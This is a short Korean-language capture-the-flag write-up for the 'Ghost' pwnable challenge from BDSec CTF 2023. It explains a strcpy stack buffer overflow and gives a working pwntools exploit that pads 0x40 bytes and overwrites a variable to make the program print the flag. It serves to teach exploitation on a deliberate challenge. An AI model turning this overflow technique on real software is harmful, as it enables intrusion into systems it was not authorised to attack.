CTF/BDSec CTF

Ghost - Pwnable

p6rkdoye0n 2023. 7. 21. 18:34

 

2023 BDSec CTF 포너블 문제이다.

 

누가봐도 v5의 값을 bof로 바꾸면 플래그가 출력되는 문제인거 같다. 

 

strcpy 함수로 src의 값을 dest 라는 변수에다가 넣기 때문에 스택 구조를 보면 A 값을 0x40만큼 dummy 값을 채우면 v5 변수에 원하는 값을 넣을 수 있다.

 

아래는 위의 공격 내용을 반영한 최종 익스플로잇 코드이다.

 

from pwn import *

#p = process("./ghost")
p = remote("139.144.184.150", 4000)
e = ELF("./ghost")

def log(n, m): return success(": ".join([n, hex(m)]))

context.log_level = 'debug'

key = 0x44434241

payload = b'A'*0x40
payload += p64(key)

p.sendline(payload)

p.interactive()

 

 

해당 코드를 실행하면 최종적으로 flag 값을 얻을 수 있다.